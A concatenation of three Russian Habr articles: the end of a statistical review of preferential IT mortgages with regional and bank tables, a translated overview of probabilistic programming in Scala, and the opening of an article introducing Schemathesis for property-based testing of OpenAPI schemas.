5% - льготную и 10,5% - базовую.
| | | |
| --- | --- | --- |
| | Льготная | Базовая |
| Ежемесячный платеж | 59 396,02 руб. | 85 723,28 руб. |
| Начисленные проценты | 5 255 044,80 руб. | 15 688 304,64 руб. |
| Долг + проценты | 14 255 044,80 руб. | 24 688 304,64 руб. |
с каждой такой ипотеки 10,3 млн. руб. государство возмещает банку за недополученную прибыль с процентов. Ставка до февраля была вообще 9,5 пунктов, то есть текущее положение можно считать еще оптимистичным. И если считать, что субсидии должны заложить на весь срок кредита, без учета досрочного погашения, то 1,5 млрд. руб. это несерьезная сумма, на 150 кредитов. Но, конечно, надо смотреть на средний срок жизни кредита, который тоже предсказывают будет увеличиваться, а не на сколько берут, и если решить, что таблица выше это негативный сценарий, то за позитивный сценарий возьмем расчет для 10 лет, так как сумма уже серьезная и даже с зарплатой 300к\наносек быстро не разделаться на фоне таргета инфляции 15%.
| | | |
| --- | --- | --- |
| | Льготная | Базовая |
| Ежемесячный платеж | 95 458,96 руб. | 121 441,50 руб. |
| Начисленные проценты | 2 455 075,20 руб. | 5 572 980,00 руб. |
| Долг + проценты | 11 455 075,20 руб. | 14 572 980,00 руб. |
При таких условиях 1,5 млрд. рублей хватит примерно на 500 ипотек. Но если исходить из оригинала постановления, то там сказано
> Общая сумма кредитов (займов), по которым осуществляется возмещение недополученных доходов, составляет до 240 млрд. рублей (включительно) (далее - общий размер лимита средств).
>
> В случае если совокупный размер средств, указанный во всех заявках
> на возмещение, превышает общий размер лимита средств, то
> предложенный кредитором в соответствующей заявке размер подлежащего
> установлению лимита средств сокращается пропорционально доле размера
> средств, указанного в соответствующей заявке кредитора, в совокупном
> размере средств, указанном во всех заявках на возмещение, таким образом,
> чтобы общий размер подлежащих установлению лимитов средств всем
> подавшим заявки на возмещение кредиторам не превышал общего размера
> лимита средств.
> В случае если совокупный размер средств, указанный во всех заявках
> на возмещение, равен или меньше общего размера лимита средств, размер
>
>
Сложный юридический язык можно перевести как то, что программа рассчитана на 240 млрд. руб. ипотечных средств, то есть освоено только 22.5% займов. И [постановление от 30 июня](http://static.government.ru/media/files/8el0KRMgWA1BGwgUJCYInSO7Jnu12NCZ.pdf) расширяющее лимиты не дало особого увеличения числа выданных кредитов, возможно это связано с сезонными отпусками.
Для более точных расчетов можно еще смотреть на размер ключевой ставки, ее можно получить по дням за период на сайте ЦБ по вот такому URL.
> <https://www.cbr.ru/hd_base/KeyRate/?UniDbQuery.Posted=True&UniDbQuery.From=12.05.2022&UniDbQuery.To=29.08.2022>
>
>
Последнее время выходит много статей с заголовками на подобии
[Москва лидирует по выдаче льготной IT-ипотеки](https://www.mos.ru/news/item/111865073/).
Если кому-то хотелось посмотреть сырые данные, то они ниже. А также есть [скрипт](https://github.com/Zharikov/it_mortgage/blob/main/get_stat.py), который это все считал, возможно есть ошибки и неточности. Выбран python потому что он доступен многим.
![Средний размер кредита по неделям](https://habrastorage.org/r/w1560/getpro/habr/upload_files/7e7/266/161/7e726616130db69eddf3e455302f8fe5.png "Средний размер кредита по неделям")Средний размер кредита по неделям![Количество выданных кредитов по неделям](https://habrastorage.org/r/w1560/getpro/habr/upload_files/608/1f9/e76/6081f9e760ffe7a343f7529967bcba21.png "Количество выданных кредитов по неделям")Количество выданных кредитов по неделям![Сумма выданных кредитов по неделям](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1a2/3b4/7b1/1a23b47b1692a78a1d8cb6c389ac6b1d.png "Сумма выданных кредитов по неделям")Сумма выданных кредитов по неделям![Количество выданных кредитов по банкам](https://habrastorage.org/r/w1560/getpro/habr/upload_files/635/bd0/38b/635bd038b84c6dfa471833d60df87165.png "Количество выданных кредитов по банкам")Количество выданных кредитов по банкам![Сумма выданных кредитов по банкам
](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f40/753/d84/f40753d84b28ce18c135249e84b8f68f.png "Сумма выданных кредитов по банкам
")Сумма выданных кредитов по банкам
![Количество выданных кредитов по регионам](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4df/3ac/6ce/4df3ac6ce8c46d6a13f8fcf96d937a53.png "Количество выданных кредитов по регионам")Количество выданных кредитов по регионам![Сумма выданных кредитов по регионам](https://habrastorage.org/r/w1560/getpro/habr/upload_files/560/506/9d4/5605069d40bdebd67d250a035498ff2e.png "Сумма выданных кредитов по регионам")Сумма выданных кредитов по регионам
```
Регион Принято Одобрено Количество Заключено Заключено Выдано Выдано Средний
заявок, заявок, отказов, кредитов, кредитов, кредитов, кредитов, размер
шт. шт. шт. шт. млн шт. млн кредита,
руб. руб. млн.руб.
------------------------------- --------- ---------- ------------ ----------- ----------- ----------- ----------- ----------
Город Москва 7518 5137 1058 1726 21723.2 1700 21344.7 12.5557
Город Санкт-Петербург 2857 2017 466 782 8592.21 765 8336.64 10.8976
Московская область 2010 1430 329 476 4343.96 471 4292.39 9.11335
Республика Татарстан 1125 668 199 245 2194.44 242 2146.22 8.86868
Свердловская область 1005 684 181 311 2168.74 305 2112.33 6.92567
Новосибирская область 890 634 112 293 2018.73 287 1968.41 6.85857
Краснодарский край 1032 699 193 254 1919.93 248 1866.17 7.52488
Нижегородская область 751 513 135 179 1290.84 173 1249.78 7.22416
Пермский край 525 374 92 141 906.54 136 879.46 6.46662
Воронежская область 401 257 91 112 716.01 111 708.18 6.38
Ленинградская область 324 221 46 76 658.05 73 621.21 8.50973
Удмуртская Республика 386 256 76 113 592.19 108 568.01 5.25935
Самарская область 397 253 74 93 538.22 92 529.82 5.75891
Ярославская область 330 245 61 95 526.94 94 524.27 5.57734
Республика Башкортостан 362 228 69 74 511.64 72 502.73 6.98236
Тюменская область 357 209 78 73 475.47 71 462.09 6.50831
Ростовская область 301 202 55 82 499.27 76 449.87 5.91934
Томская область 242 180 50 73 432.72 73 432.7 5.9274
Калининградская область 223 160 42 57 434.48 56 430.17 7.68161
Челябинская область 239 163 44 62 380.45 60 366.76 6.11267
Ульяновская область 185 136 37 62 319.07 62 319.07 5.14629
Красноярский край 224 132 42 51 328.36 49 316.78 6.4649
Пензенская область 159 105 33 49 265.88 47 261.45 5.56277
Тульская область 171 107 26 40 264.37 40 257.4 6.435
Тверская область 179 121 36 38 231.34 37 224.3 6.06216
Чувашская Республика 152 108 31 37 226.01 35 211.57 6.04486
Саратовская область 160 109 29 41 217.99 40 208.97 5.22425
Алтайский край 148 96 34 34 199.69 31 179.72 5.79742
Рязанская область 93 69 13 25 175.04 25 175.04 7.0016
Волгоградская область 97 66 19 28 160.47 28 160.47 5.73107
Вологодская область 112 83 21 33 155.7 33 155.7 4.71818
Омская область 101 69 21 25 154.61 23 148.66 6.46348
Республика Марий Эл 88 63 16 33 147.35 32 144.75 4.52344
Иркутская область 116 80 23 23 140.58 23 140.59 6.11261
Приморский край 85 54 19 18 139.04 17 133.77 7.86882
Владимирская область 104 76 19 25 128.35 23 119.52 5.19652
Брянская область 53 32 17 17 118.47 17 118.48 6.96941
Белгородская область 118 79 29 19 118.14 19 118.14 6.21789
Калужская область 103 70 24 20 130.05 19 115.6 6.08421
Хабаровский край 50 34 11 10 98.56 10 98.56 9.856
Костромская область 81 60 17 22 101.04 21 95.9 4.56667
Ивановская область 93 65 17 21 96.94 20 92.06 4.603
Кемеровская область - Кузбасс 68 42 14 19 96.57 18 91.48 5.08222
Липецкая область 65 38 21 15 82.72 15 82.72 5.51467
Кировская область 49 34 9 13 69.68 13 69.68 5.36
Ставропольский край 80 53 20 15 69.44 15 69.44 4.62933
Республика Мордовия 27 19 5 10 62.11 10 62.11 6.211
Оренбургская область 88 49 27 14 63.56 13 58.55 4.50385
Астраханская область 29 20 7 9 53.27 9 53.27 5.91889
Архангельская область 20 15 3 8 48.43 8 48.43 6.05375
Курганская область 20 15 4 9 48.34 9 48.34 5.37111
Республика Карелия 37 27 9 10 56.38 8 47.76 5.97
Город Севастополь 6 6 0 6 46.89 6 46.89 7.815
Псковская область 24 12 9 6 43.76 6 43.76 7.29333
Смоленская область 49 34 11 10 46.93 9 43.46 4.82889
Курская область 46 28 9 7 36.81 7 36.81 5.25857
Ханты-Мансийский АО - Югра 16 8 4 5 36.68 5 36.68 7.336
Республика Саха (Якутия) 22 10 10 4 26.72 4 26.72 6.68
Забайкальский край 5 3 2 2 20.96 2 20.96 10.48
Республика Коми 24 14 10 5 20.51 5 20.51 4.102
Новгородская область 24 16 5 4 19.4 4 19.4 4.85
Тамбовская область 24 13 7 5 17.97 5 17.97 3.594
Орловская область 18 16 2 5 17.8 5 17.8 3.56
Республика Бурятия 7 4 1 2 16.97 2 16.97 8.485
Республика Крым 196 164 27 2 13.36 2 13.36 6.68
Республика Северная Осетия 14 11 2 3 13.25 3 13.25 4.41667
Ямало-Ненецкий АО 5 4 1 1 9.17 1 9.17 9.17
Амурская область 10 7 2 1 9 1 9 9
Мурманская область 11 6 5 2 7.7 2 7.7 3.85
Сахалинская область 10 6 3 1 7.16 1 7.16 7.16
Республика Адыгея 14 8 4 1 5.51 1 5.51 5.51
Республика Хакасия 13 8 5 1 5.39 1 5.39 5.39
Еврейская АО 0 0 0 0 0 0 0
Кабардино-Балкарская Республика 6 0 6 0 0 0 0
Камчатский край 7 3 3 0 0 0 0
Карачаево-Черкесская Республика 1 1 0 0 0 0 0
Магаданская область 4 4 0 0 0 0 0
Ненецкий АО 0 0 0 0 0 0 0
Республика Алтай 3 0 0 0 0 0 0
Республика Дагестан 9 1 7 0 0 0 0
Республика Ингушетия 3 2 1 0 0 0 0
Республика Калмыкия 8 4 3 0 0 0 0
Республика Тыва 6 1 4 0 0 0 0
Чеченская Республика 4 4 0 0 0 0 0
Чукотский АО 0 0 0 0 0 0 0
```
```
Банк Принято Одобрено Количество Заключено Заключено Выдано Выдано Средний
заявок, заявок, отказов, кредитов, кредитов, кредитов, кредитов, размер
шт. шт. шт. шт. млн шт. млн кредита,
руб. руб. млн.руб.
---------------------------------- --------- ---------- ------------ ----------- ----------- ----------- ----------- ----------
ПАО СБЕРБАНК 11107 8376 2731 2635 20875.3 2635 20875.3 7.92231
АО "БАНК ДОМ.РФ" 4323 2474 243 1205 12398 1147 11738.9 10.2345
БАНК ВТБ (ПАО) 2192 1649 68 816 8140.71 778 7768.1 9.9847
АО "АЛЬФА-БАНК" 2519 1580 165 428 3568.7 428 3568.7 8.33808
БАНК ГПБ (АО) 1050 649 366 306 2807.46 290 2683.27 9.25266
ПАО РОСБАНК 638 495 36 177 1894.15 176 1882.69 10.6971
ПАО "БАНК "САНКТ-ПЕТЕРБУРГ" 430 332 87 155 1632.81 153 1618.85 10.5807
ПАО "МОСКОВСКИЙ КРЕДИТНЫЙ БАНК" 363 212 76 108 1445.31 108 1445.31 13.3825
ПАО "МТС-БАНК" 107 88 8 45 690.19 45 690.19 15.3376
ПАО БАНК "ФК ОТКРЫТИЕ" 512 309 84 78 657.75 72 609.69 8.46792
ПАО "СОВКОМБАНК" 270 143 51 51 378.05 51 378.05 7.41275
ПАО АКБ "МЕТАЛЛИНВЕСТБАНК" 168 135 16 32 294.79 31 290.41 9.36806
ПАО "АК БАРС" БАНК 426 38 97 33 254.89 33 254.88 7.72364
АКБ "АБСОЛЮТ БАНК" (ПАО) 199 84 106 15 145.33 15 145.33 9.68867
ПАО КБ "УБРИР" 81 49 23 23 145.23 20 133.35 6.6675
ПАО "ПРОМСВЯЗЬБАНК" 132 71 19 17 107.19 15 90.88 6.05867
БАНК "ВБРР" (АО) 20 16 3 7 83.82 7 83.82 11.9743
ПАО БАНК ЗЕНИТ 108 80 10 8 75.58 7 68.08 9.72571
РНКБ БАНК (ПАО) 200 169 27 7 51.75 7 51.75 7.39286
АО КБ "УРАЛ ФД" 19 12 6 7 50.02 7 50.02 7.14571
АО "РОССЕЛЬХОЗБАНК" 39 24 2 5 48.61 5 48.61 9.722
АО "АБ "РОССИЯ" 11 6 0 5 47.53 5 47.53 9.506
ПАО КБ "ЦЕНТР-ИНВЕСТ" 20 7 2 6 46.66 5 41.32 8.264
КБ "КУБАНЬ КРЕДИТ" ООО 16 9 6 6 40.06 6 40.06 6.67667
БАНК "ЛЕВОБЕРЕЖНЫЙ" (ПАО) 16 13 3 3 15.6 3 15.6 5.2
БАНК "КУБ" (АО) 1 1 0 1 5.8 1 5.8 5.8
АО "БАНК СГБ" 8 3 0 2 5.58 2 5.58 2.79
АО "СМП БАНК" 6 5 0 1 4.07 1 4.07 4.07
АО "БАНК АКЦЕПТ" 2 1 1 1 2.59 1 2.59 2.59
"АЗИАТСКО-ТИХООКЕАНСКИЙ БАНК" (АО) 0 0 0 0 0 0 0
АКБ "АЛМАЗЭРГИЭНБАНК" АО 0 0 0 0 0 0 0
АКБ"ЭНЕРГОБАНК" (АО) 0 0 0 0 0 0 0
АО «АИЖК Кузбасса» 0 0 0 0 0 0 0
АО АКБ "НОВИКОМБАНК" 0 0 0 0 0 0 0
АО "БАНК ОРЕНБУРГ" 2 0 2 0 0 0 0
АО БАНК «СНГБ» 0 0 0 0 0 0 0
АО "БАНК ФИНСЕРВИС" 15 10 5 0 0 0 0
АО "ДАЛЬНЕВОСТОЧНЫЙ БАНК" 3 0 3 0 0 0 0
АО "ИКУР" 11 11 0 0 0 0 0
АО "КОШЕЛЕВ-БАНК" 0 0 0 0 0 0 0
АО "САИЖК" 0 0 0 0 0 0 0
АО "ТИНЬКОФФ БАНК" 0 0 0 0 0 0 0
АО ЮНИКРЕДИТ БАНК 0 0 0 0 0 0 0
БАНК СОЮЗ (АО) 0 0 0 0 0 0 0
ИНВЕСТТОРГБАНК АО 0 0 0 0 0 0 0
ООО "ХАКАССКИЙ МУНИЦИПАЛЬНЫЙ БАНК" 0 0 0 0 0 0 0
ПАО БАНК "КУЗНЕЦКИЙ" 0 0 0 0 0 0 0
ПАО "БАНК УРАЛСИБ" 0 0 0 0 0 0 0
ПАО СКБ ПРИМОРЬЯ "ПРИМСОЦБАНК" 3 3 0 0 0 0 0
ПАО "ЧЕЛЯБИНВЕСТБАНК" 0 0 0 0 0 0 0
ПРИО-ВНЕШТОРГБАНК (ПАО) 2 0 1 0 0 0 0
"СИБСОЦБАНК" ООО 0 0 0 0 0 0 0
ТКБ БАНК ПАО 0 0 0 0 0 0 0
```
Несложные и очевидные выводы из общих данных.
---------------------------------------------
* Исходя из постановления правительства, потенциал программы освоен на чуть больше чем 22.5%, то есть выдано 54.6 млрд.р., а рассчитано на 240 млрд.р.
* Выдано 6054 кредита.
* Средний размер выданного кредита по программе 9.1 млн.р.
* Выделенных средств, которые анонсировали в новостях на старте программы в размере 1.5 млрд.р. скорее всего хватит на компенсирование крайне незначительного количества кредитов и эти льготы точно будут расширяться.
* Распределение количества кредитов и их объемов по банкам малоинтересно, в виду того, что не все эти банки реально участвуют в программе у некоторых нет этого продукта и зачем они представлены в статистике не очень понятно. А в остальном этот топ дублирует практически построчно рейтинг банков по активам или выданным кредитам. Единственное только, что средние размеры кредитов выбиваются значительно у трех банков, это странно, но эти банки выдали мало кредитов, возможно, получаем не сглаженные числа.
* По регионам ситуация также очевидна, где представлено больше занятых, которые подходят под условия программы, там объем выданных кредитов и больше, а это основные экономические центры страны. Средний размер кредита, хоть это и не репрезентативно как говорилось выше, но очень сильно привязаны к стоимости недвижимости в регионе, но здесь крайне сложно оценить правильность выводов так как, например, в Москве многие трудоустроены, но не живут и как это отражается на данной статистике не очень ясно.
Если бы можно было посчитать нормально количество людей, кто вообще может воспользоваться программой, а не оценки, которые сильно рознятся, то было бы интересно посмотреть процент взявших такие ипотеки.
UPD: Постараюсь обновлять данные каждую неделю, так как интересна дальнейшая динамика. Последняя правка 30.01.2022 за отчетную неделю 26.01.2022. Данные за первую неделю пропали, дистанция уже достаточная, чтобы этим пренебречь. После правок [правил](https://habr.com/ru/news/t/713604/) льготной ипотеки ждем бурного роста спроса на данную программу. | https://habr.com/ru/post/686890/ | null | ru | null |
# Вероятностное программирование на Scala
Здравствуйте, дорогие читатели. Сегодня мы публикуем внеочередной перевод — это будет обзорная статья блистательного Ноэля Уэлша о принципах вероятностного программирования. Статья публикуется по заявкам читателей, которые задают нашему блогу все более высокую планку — и это, безусловно, здорово!
На конференции [Typelevel Summit](http://typelevel.org/event/2016-03-summit-philadelphia/) в Филадельфии мне довелось сделать доклад о вероятностном программировании, которым я уже некоторое время [интересуюсь](https://github.com/noelwelsh/pfennig). Вероятностное программирование находится на стыке двух шикарных исследовательских областей, которые хорошо сочетаются друг с другом – речь о функциональном программировании и машинном обучении (конкретнее – о байесовском выводе). В этой статье я попытаюсь объяснить ключевые идеи вероятностного программирования. Предполагаю, что вы, дорогой читатель, в большей степени программист, нежели статистик, но и числа вас не пугают. Поэтому и я уделю больше внимания именно программированию, а не машинному обучению.
**Вероятностные модели и логический вывод**
Чтобы понять вероятностное программирование, для начала нужно разобраться в вероятностных моделях и логическом выводе. Вероятностная модель описывает, как наблюдаемые феномены могут зависеть от феноменов, которых мы наблюдать не можем. Обычно предполагается, что такое отношение не является детерминированным, следовательно, зависимость между наблюдаемым и ненаблюдаемым подчиняется некому вероятностному распределению. Модель такого типа иногда называется генеративной.
Допустим, врач пытается поставить диагноз. Он наблюдает различные симптомы — например, температуру, сыпь, одышку — на основании которых может сделать информированную догадку о том, какое расстройство могло вызвать такие симптомы. Разумеется, этот процесс несовершенен. Разные болезни могут вызывать очень схожие симптомы, равно как и симптомы одной и той же болезни часто отличаются, поэтому такая диагностическая модель предполагает некоторое вероятностное распределение результатов.
Давайте подробнее рассмотрим другой пример. Допустим, мы хотим рассортировать документы по рассматриваемым в ним темам – возможно, чтобы порекомендовать людям чтение, которое может им понравиться. В таком случае можем смоделировать такой генеративный процесс:
1. Выбрать несколько тем и присвоить им весовые категории;
2. Для каждой темы характерно свое распределение слов;
3. Исходя из такого распределения слов, выбираем конкретные слова, прочитанные на странице, пропорционально весовым категориям, присвоенным тем или иным темам.
Модель такого типа называется [тематической](https://www.cs.princeton.edu/~blei/topicmodeling.html) и широко применяется. К некоторым сравнительно необычным вариантам ее применения относится [классификация эстетических предпочтений](https://mimno.infosci.cornell.edu/info6150/readings/p1640-hu.pdf) в Etsy и попытка разобраться, [какие комнаты как использовались в одном из сохранившихся домов в Помпеях](https://mimno.infosci.cornell.edu/papers/pompeii.pdf).
Надеюсь, этих кратких примеров достаточно, и вы ухватили идею вероятностных моделей. Можно представить себе и множество других генеративных процессов – например, свойства небесного тела влияют на то, в каком виде мы его наблюдаем, поведение пользователя в онлайне зависит от его интересов, а деятельность НКО влияет на ситуацию со здравоохранением в том регионе, где действует такая организация.
Генеративные модели хорошо работают в случаях, когда у нас есть априорные знания об устройстве мира, и мы можем воспользоваться ими при построении модели. Работать с ними очень весело, поскольку они позволяют создавать фиктивные данные, например, [автоматически сгенерированные научные статьи](https://pdos.csail.mit.edu/archive/scigen/) – и тем самым смущать и забавлять наших коллег.
Когда мы создали вероятностную модель (и вдоволь поприкалывались с липовыми данными), эту модель можно использовать для логического вывода. Логический вывод – это процесс «обратной перемотки модели». Мы смотрим на реальные данные, которые удалось наблюдать, и пытаемся догадаться, как могла бы выглядеть ситуация, недоступная для наблюдения. Например, можно воспользоваться текстом документа и попытаться выяснить, какой теме он посвящен, либо собрать астрономические данные и попытаться определить, какие звездные системы с наибольшей вероятностью пригодны для жизни. Поскольку мы не можем с уверенностью судить о состоянии этих ненаблюдаемых элементов нашей модели, можно построить вероятностное распределение всех возможностей. Создание такого распределения как раз и отличает байесовский вывод от альтернатив – например, от метода максимального правдоподобия, позволяющего выявить всего одно состояние ненаблюдаемых свойств.
**Зачем нужно вероятностное программирование**
Мы вкратце описали генеративные модели и проблему байесовского вывода. Эта область статистики и машинного обучения давно изучается, и со временем исследователи заметили ряд моментов:
* Построить генеративную модель довольно легко; и
* все эти модели имеют одинаковую структуру; но
* алгоритм логического вывода для каждой конкретной модели пишется медленно, и обычно при этом возникают ошибки.
Как было бы здорово, если бы можно было сделать алгоритм логического вывода, исходя лишь из описания модели. Ситуацию можно сравнить с программированием на ассемблере и на высокоуровневом языке. Пользуясь ассемблером, мы все оптимизируем вручную, реализуем собственные и управляющие структуры и т.д., в контексте конкретной проблемы, стоящей перед нами. То же самое происходит при создании специального алгоритма логического вывода для конкретной генеративной модели. При программировании на высокоуровневом языке мы пользуемся готовыми конструкциями, которые компилятор сам переводит на ассемблер. Продуктивность работы значительно повышается ценой небольшого снижения машинной производительности (чего мы зачастую даже не замечаем). Цель вероятностного программирования – точно такая.
**Конечно же это монада!**
Кажется, что цель вероятностного программирования стоящая и благородная, но, чтобы ее достичь, нужно для начала понять, как структурировать наши генеративные модели. Опытного программиста-функциональщика не должно удивлять, что для этого мы воспользуемся монадой. Сейчас объясню, как именно.
Вернемся к примеру с генеративной моделью для создания документа. Чтобы создать документ, нужно:
1. выбрать несколько тем и соответствующих им весовых категорий;
2. каждая тема регламентирует распределение слов;
3. из таких распределений слов мы выбираем конкретные слова, прочитанные на странице, пропорционально весовым категориям, соответствующим теме.
Можно аннотировать эту модель типами, чтобы показать, как может решаться проблема. При помощи `Distribution[A]` представим распределение по типу A. Теперь документ генерируется так:
* выбираем некоторые темы — так можем получить `Distribution[Seq[Topic]]` (или просто `Distribution[Topic]` для более простой модели).
* из каждой темы получаем распределение по словам — это функция `Topic => Distribution[Words]`.
* из этих распределений по словам выбираем конкретные слова, которые читаем на странице – извлечение делается из `Distribution[Words]`.
(Здесь мы пытаемся сбалансировать простоту и точность, поэтому наша модель не учитывает грамматику или количество слов, из которых состоит документ. Возможно, у вас получится ее дополнить, но, если запутаетесь – познакомьтесь с моим докладом, где представлен более простой и полный пример.)
Основная часть этой модели заключается в соединении `Distribution[Topic]` и `Topic => Distribution[Words]` для создания `Distribution[Words]`, из которого можно построить документ. Кстати, чем нужно заменить `???`, чтобы следующее тождество соблюдалось?
```
Distribution[Topic] ??? Topic => Distribution[Words] = Distribution[Words]
```
Ответ — `flatMap`, то есть, у нас есть монада. (Можете сами убедиться, что и законы монад тоже соблюдаются, однако, в данном случае нам нужно определить семантику `flatMap`. См. ниже.)
Если вы когда-либо работали со ScalaCheck или подобными системами – то, значит, пользовались монадой безопасности.
**Построение алгоритмов логического вывода**
Существует много способов реализовать монаду вероятности. Если мы имеем дело лишь с дискретными доменами, то можно все представить внутри предметной области как `List[(A, Probability)]` (где `Probability` может быть псевдонимом типа `Double`) и в точности вычислять результаты. В реальных приложениях польза от такого подхода невелика, поскольку нам, скорее всего, придется иметь дело со сплошными доменами, либо дискретными, но все равно крупными. Тогда размер представления в каждом `flatMap` будет расти экспоненциально. Пример реализации показан [здесь](https://github.com/noelwelsh/pfennig/blob/master/src/main/scala/pfennig/Enumeration.scala).
Можно использовать представление, основанное на выборке. Такой подход работает со сплошными доменами, и пользователь может создать столько образцов, сколько заблагорассудится – для достижения желаемой точности. Однако, такой вариант все равно неидеален. Алгоритмы логического вывода исследуются много лет, эта работа напоминает оптимизацию компиляторов, а нам бы хотелось создать такую систему, которая запускала бы вероятностные механизмы для анализа структуры программы и применяла к полученным результатам оптимальный алгоритм логического вывода. Точно как и при работе с компилятором, мы выражаем вероятностную программу в виде абстрактного синтаксического дерева, которым затем могут манипулировать алгоритмы оптимизации.
Теперь можно приступать к построению алгоритмов логического вывода, и именно здесь я самоустраняюсь от объяснений, по двум причинам: во-первых, полагаю, что читатель – не профи в машинном обучении, и обсуждать алгоритмы логического вывода ему будет не слишком интересно, а во-вторых, что, на самом деле, важнее – пока это передний край исследований. В современных системах реализуются обобщенные алгоритмы логического вывода, которые, однако, почти не приспособлены для проблемно-ориентированных оптимизаций. Общий принцип, как и при работе с компиляторами, таков: чем больше информации вы сохраняете, тем больше можете оптимизировать. В то же время, большинство оптимизаций полезны лишь в немногих программах. Во многом остается открытым вопрос, насколько можно полагаться на обобщенные алгоритмы логического вывода и на вычислительную мощность, чтобы такой вывод получался достаточно быстрым, и насколько стоит усердствовать со сложной математикой ради оптимизации конкретных случаев.
**Заключение и дальнейшая работа**
Я очень воодушевлен вероятностным программированием, поскольку, полагаю, оно позволяет радикально упростить логический вывод, и это пригодится в очень многих сферах – несколько примеров я уже привел выше. В большинстве предметных областей вопрос времени не так критичен, поэтому меня более интересует исследование обобщенных алгоритмов логического вывода и параллельных/распределенных реализаций, нежели сложная математика. Однако, любые вещи я люблю сначала обкатать на практике, и поэтому ищу людей, которым требуется решать реальные задачи.
Кроме того, вероятностное программирование изрядно пересекается с моими интересами в сфере машинного обучения и языков программирования. Если вы заинтересовались – вот [доклад](https://www.youtube.com/watch?v=e1Ykk_CqKTY&index=3&list=PL_5uJkfWNxdkQd7FbN1whrTOsJPMgHgLg), [слайды](http://noelwelsh.com/assets/downloads/typelevel-summit-philly-2016.pdf), [код](https://github.com/noelwelsh/pfennig). | https://habr.com/ru/post/322760/ | null | ru | null |
# Schemathesis: property-based тестирование для API схем
![image](https://habrastorage.org/r/w780q1/webt/yu/fw/w8/yufww8clxjcmtho2brj373fdubu.jpeg)
Фото [Chris Keats](https://unsplash.com/@chris_keats) на [Unsplash](https://unsplash.com/)
Многие компании, и мы в том числе, перешли от монолитов к микросервисам ради лучшей масштабируемости и ускорения циклов разработки. У нас всё еще есть монолитные проекты, но они постепенно заменяются набором небольших и аккуратных микросервисов.
Эти микросервисы используют Open API 3.0 схемы для описания того что от них можно ожидать. Схемы дают множество полезных вещей, например автогенерируемые клиенты или интерактивная документация, но их основное достоинство состоит в том, что они помогают контролировать как сервисы общаются между собой.
Межсервисная коммуникация становится более сложной когда количество участников растет и в этой статье, я хочу поделиться своими мыслями о проблемах использования схем в веб приложениях и обозначить некоторые способы как с ними можно бороться.
---
Даже учитывая что Open API 3.0 во многом превосходит своего предшественника, (так же известного как Swagger 2.0) у него, так же как и у других спецификаций есть множество ограничений. Основная проблема заключается в том, что даже если и описанная схема полностью отражает видение автора, это не значит что реальное приложение будет вести себя согласно схеме.
Существует множество различных подходов для синхронизации схем с документацией и логикой приложения. Наиболее распространенные:
* Развивать отдельно, синхронизировать вручную;
* Генерировать схему из приложения (например, при помощи, [apispec](https://github.com/marshmallow-code/apispec));
* Предоставлять логику на основе схемы ([connexion](https://github.com/zalando/connexion));
Ни один из этих подходов не гарантирует 1:1 соответствия поведения приложения и его схеме и на это есть множество причин. Это может быть сложное ограничение на уровне базы данных, которое нельзя выразить на языке схемы или вездесущий человеческий фактор — или мы забыли обновить приложение, чтобы отобразить изменения схемы или наоборот.
Существует множество последствий этих несоответствий, от необработанной ошибки, которая ломает приложение, до проблем с безопасностью, которые могут повлечь серьезные финансовые потери.
---
Очевидный способ решать эти проблемы это тестировать приложения и настраивать линтеры для схем (такие как [Zally](https://github.com/zalando/zally) от Zalando), что мы и делаем, но ситуация становится сложнее когда вам необходим работать с сотнями сервисов различных размеров.
Классические, example-based тесты имеют некоторую стоимость поддержки и занимает время для написания, но они всё еще являются неотъемлемой частью любого современного процесса разработки. Мы искали дешевый и эффективный способ находить дефекты в наших приложениях, что-то что позволит нам тестировать приложения написанные на разных языках, будет иметь минимальную стоимость поддержки и будет простым в использовании.
Поэтому мы решили исследовать применимость property-based тестирования (PBT) для Open API схем. Сам концепт не нов, впервые его реализовали в Haskell библиотеке [QuickCheck](http://hackage.haskell.org/package/QuickCheck) Koen Claessen и John Hughes в 1999 году. В наши дни PBT инструменты существуют в большинстве языков программирования, включая Python, наш основной язык для бэкенда. В примерах ниже, я буду использовать Hypothesis за авторством David R. MacIver.
Суть подхода заключается в определении свойств, которые код должен удовлетворять и проверки, что эти свойства выполняются на большом количестве случайно сгенерированных входных данных. Давайте представим простую функцию, которая принимает на вход два числа и возвращает их сумму, а также тест для этой функции. Для примера мы можем ожидать, что наша реализация обладает свойством коммутативности.
Тем не менее, Hypothesis быстро напоминает нам, что коммутативность выполняется только для действительных чисел:
PBT позволяет разработчикам найти нетривиальные примеры когда код не работает как ожидается. Так как же это применимо для API схем?
Выяснилось, что мы ожидаем довольно много от наших приложений, они должны:
* Соответствовать своим схемам;
* Не падать на произвольных входных данных, как корректных так и некорректных;
* Иметь время отклика не превышающее нескольких сотен миллисекунд;
Соответствие схеме можно развить дальше:
* Корректные входные данные должны приниматься, некорректные должны отклоняться;
* Все ответы должны иметь ожидаемый HTTP код;
* Все ответы должны иметь содержимое ожидаемого типа;
Даже, если учитывать то что невозможно выполнять все эти свойства во всех случаях, они являются хорошими ориентирами. Сами по себе, схемы это источник свойств приложения, что делает их идеальными для использования в PBT.
---
В первую очередь мы посмотрели вокруг и обнаружили, что уже существует Python библиотека для этого — [swagger-conformance](https://github.com/olipratt/swagger-conformance), но она выглядела заброшенной. Нам нужна была поддержка Open API и больше гибкости со стратегиями генерации данных чем было в swagger-conformance. Мы также нашли свежую библиотеку — [hypothesis-jsonschema](https://github.com/Zac-HD/hypothesis-jsonschema), написанную одним из основных разработчиков Hypothesis — Zac Hatfield-Dodds. Я благодарен людям, которые написали эти инструменты. С их усилиями тестирование в Python стало более захватывающим, вдохновляющим и приятным.
Так как в основе Open API лежит JSON Schema эта библиотека нам подходила, но всё же не предоставляла всего что нам было нужно. Имея все эти инструменты мы решили построить свою собственную библиотеку на основе Hypothesis, hypothesis-jsonschema и pytest, которая бы работала с Open API и Swagger спецификациями.
Именно так появился проект [Schemathesis](https://github.com/kiwicom/schemathesis), который мы начали несколько месяцев назад в нашей Testing Platform команде в Kiwi.com. Идея такая:
* Преобразуем Open API & Swagger определения к JSON Schema;
* Используем hypothesis-jsonschema чтобы получить нужные Hypothesis стратегии;
* Используем эти стратегии в CLI и Python тестах
Schemathesis генерирует данные которые соответствуют схеме и делает необходимые сетевые запросы к запущенному приложению и проверяет если приложение упало или то что ответ соответствует схеме.
У нас впереди всё ещё огромное количество интересного функционала для реализации:
* Генерация некорректных данных;
* Генерация схем из других спецификаций;
